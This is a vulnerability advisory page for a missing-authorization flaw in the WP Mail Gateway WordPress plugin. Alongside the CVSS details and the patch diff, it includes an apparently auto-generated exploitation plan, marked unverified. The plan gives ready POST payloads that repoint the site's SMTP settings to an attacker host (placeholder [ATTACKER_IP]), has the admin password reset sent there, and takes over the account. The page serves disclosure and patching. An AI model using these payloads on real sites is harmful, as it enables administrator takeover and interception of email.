CVE-2026-6963

WP Mail Gateway <= 1.8 - Missing Authorization to Authenticated (Subscriber+) SMTP Configuration Modification via 'wmg_save_provider_config' AJAX Action

highMissing Authorization
8.8
CVSS Score
8.8
CVSS Score
high
Severity
1.8.1
Patched in
1d
Time to patch

Description

The WP Mail Gateway plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the wmg_save_provider_config AJAX action in all versions up to, and including, 1.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update SMTP settings and redirect mail which can be used for privilege escalation by triggering a password reset email and using that to access and administrator's account.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.8
PublishedMay 1, 2026
Last updatedMay 2, 2026
Affected pluginwp-mail-gateway

What Changed in the Fix

Changes introduced in v1.8.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-6963 (WP Mail Gateway) ## 1. Vulnerability Summary The **WP Mail Gateway** plugin for WordPress is vulnerable to unauthorized modification of SMTP and email gateway configurations. The vulnerability exists in the `wmg_save_provider_config` AJAX action, which …

Show full research plan

Exploitation Research Plan - CVE-2026-6963 (WP Mail Gateway)

1. Vulnerability Summary

The WP Mail Gateway plugin for WordPress is vulnerable to unauthorized modification of SMTP and email gateway configurations. The vulnerability exists in the wmg_save_provider_config AJAX action, which is registered to the wp_ajax_ hook but fails to implement any capability checks (e.g., current_user_can('manage_options')) or CSRF protection (nonces). Consequently, any authenticated user, including those with Subscriber privileges, can change the site's outgoing mail settings. This allows an attacker to redirect system emails—including password reset links—to an external server, leading to full administrative account takeover.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wmg_save_provider_config
  • Authentication: Required (Subscriber level or higher)
  • Parameters:
    • action: wmg_save_provider_config
    • configs: A JSON-encoded string containing the provider configuration details.
  • Preconditions:
    • The attacker must have a valid login for a Subscriber account.
    • The plugin must be active.

3. Code Flow

  1. Registration: In src/Bootstrap.php, the load() function registers the AJAX action:
    add_action( 'wp_ajax_wmg_save_provider_config', array( Functions::class, "saveProviderConfigAjax" ) );
    
    Note: The is_admin() check in load() evaluates to true during admin-ajax.php requests.
  2. Entry Point: The request reaches ShahariaAzam\WPMailGateway\Functions::saveProviderConfigAjax in src/Functions.php.
  3. Missing Security Checks: The function immediately begins processing $_POST['configs'] without calling current_user_can() or check_ajax_referer().
  4. Data Processing:
    • It decodes the JSON: $configs = json_decode(stripslashes($postData['configs']), true);.
    • It identifies the provider: $gatewayProvider = $configs['provider'];.
    • It maps keys (e.g., smtp_host, smtp_port) to a $finalConfigs array.
  5. Persistence (Sink): Although the final update_option call is truncated in the provided source, the context and delete_option call in onDeletingPlugin confirm that the configuration is stored in the WordPress options table using the key defined by WP_MAIL_GATEWAY_PLUGIN_OPTIONS_KEY.

4. Nonce Acquisition Strategy

Analysis of src/Functions.php (specifically loadPluginAdminPageStaticAssets and saveProviderConfigAjax) and assets/js/main.js confirms that no nonce is implemented for this action.

  • The JS file assets/js/main.js sends the request using a raw jQuery.ajax call without including a nonce parameter in the data object.
  • The PHP handler saveProviderConfigAjax does not contain any check_ajax_referer or wp_verify_nonce calls.

Conclusion: No nonce is required for exploitation.

5. Exploitation Strategy

The goal is to update the SMTP settings to point to an attacker-controlled listener to intercept a password reset email for the administrator.

Step 1: Prepare SMTP Payload

Construct a JSON object for the smtp provider.

{
  "provider": "smtp",
  "smtp_from_name": "WP Admin",
  "smtp_from_email": "admin@target.com",
  "smtp_host": "attacker-smtp-host.example.com",
  "smtp_port": "587",
  "smtp_encryption": "tls",
  "smtp_username": "attacker_user",
  "smtp_password": "attacker_password",
  "smtp_auth": "true",
  "smtp_active": "true"
}

Step 2: Send Modification Request

Use the http_request tool to send the POST request to admin-ajax.php as a Subscriber.

  • URL: http://[target]/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wmg_save_provider_config&configs={"provider":"smtp","smtp_from_name":"Exploit","smtp_from_email":"admin@target.local","smtp_host":"[ATTACKER_IP]","smtp_port":"25","smtp_encryption":"","smtp_username":"","smtp_password":"","smtp_auth":"false","smtp_active":"true"}
    

Step 3: Trigger Password Reset

The attacker then triggers the standard WordPress password reset for the user with ID 1 (Administrator).

  • URL: http://[target]/wp-login.php?action=lostpassword
  • Body: user_login=admin&redirect_to=&wp-submit=Get+New+Password

Step 4: Intercept and Escalate

The reset link will be sent via the attacker's SMTP server. The attacker uses the link to reset the admin password and gain full control.

6. Test Data Setup

  1. Install Plugin: Ensure WP Mail Gateway version 1.8 is installed and active.
  2. Target Admin: Create or identify an administrator account (usually user ID 1, username admin).
  3. Attacker Account: Create a user with the Subscriber role:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  4. Environment: Ensure the WordPress instance is configured to use the plugin's mailer (this usually happens automatically when a provider is marked "active" in the plugin).

7. Expected Results

  • The AJAX request should return a JSON success response (e.g., {"success":true}).
  • Subsequent calls to get_option() for the plugin's settings key (likely wp_mail_gateway_options) will return the attacker's SMTP details.
  • System emails will be routed through the attacker-defined SMTP host.

8. Verification Steps

After the HTTP exploit, verify the configuration change using WP-CLI:

# Check the saved options (the key is likely WP_MAIL_GATEWAY_PLUGIN_OPTIONS_KEY)
wp option get wp_mail_gateway_options

Verify that the gateway_provider -> smtp -> host matches the attacker's IP/host.

9. Alternative Approaches

If the smtp provider logic is complex, the attacker can use the Mailgun or Sendgrid provider blocks by providing their own API keys. This is equally effective for intercepting mail:

  • Action: wmg_save_provider_config
  • Configs: {"provider":"mailgun","mailgun_from_name":"Exploit","mailgun_from_email":"admin@target.local","mailgun_api_key":"[ATTACKER_KEY]","mailgun_domain":"[ATTACKER_DOMAIN]","mailgun_active":"true"}
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Mail Gateway plugin for WordPress lacks authorization and CSRF checks in its 'wmg_save_provider_config' AJAX action, allowing authenticated users with Subscriber-level permissions or higher to modify the site's SMTP and email provider configurations. Attackers can exploit this to redirect system emails to an external server, enabling full administrative account takeover by intercepting password reset links.

Vulnerable Code

// src/Bootstrap.php line 49
add_action( 'wp_ajax_wmg_save_provider_config', array( Functions::class, "saveProviderConfigAjax" ) );

---

// src/Functions.php line 118
public static function saveProviderConfigAjax() {
    $postData = $_POST;
    $configs = json_decode(stripslashes($postData['configs']), true);

    $gatewayProvider = $configs['provider'];
    $finalConfigs = [];
    // ... processes config and updates options without current_user_can() or check_ajax_referer()

Security Fix

--- a/assets/js/main.js
+++ b/assets/js/main.js
@@ -136,6 +136,7 @@
         //Post config data to backend via Ajax
         var data = {
             'action': 'wmg_save_provider_config',
+            'nonce': wmgAjax.nonce,
             'configs': JSON.stringify(configs)
         };
 
--- a/src/Functions.php
+++ b/src/Functions.php
@@ -118,6 +118,13 @@
 	public static function saveProviderConfigAjax() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( [ 'message' => 'Unauthorized' ] );
+		}
+
+		check_ajax_referer( 'wmg_ajax_nonce', 'nonce' );
+
 		$postData = $_POST;
 		$configs = json_decode(stripslashes($postData['configs']), true);

Exploit Outline

1. Authenticate as a Subscriber-level user on the target WordPress site. 2. Construct a JSON payload containing malicious SMTP configuration (e.g., pointing to an attacker-controlled SMTP server) and set it as 'active'. 3. Send a POST request to `/wp-admin/admin-ajax.php` with the action 'wmg_save_provider_config' and the 'configs' parameter containing the JSON payload. No nonce or capability check will block this request. 4. Trigger a WordPress password reset for the 'admin' user via `/wp-login.php?action=lostpassword`. 5. Intercept the password reset email on the attacker-controlled SMTP server, click the reset link, and change the administrator's password to gain full access.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.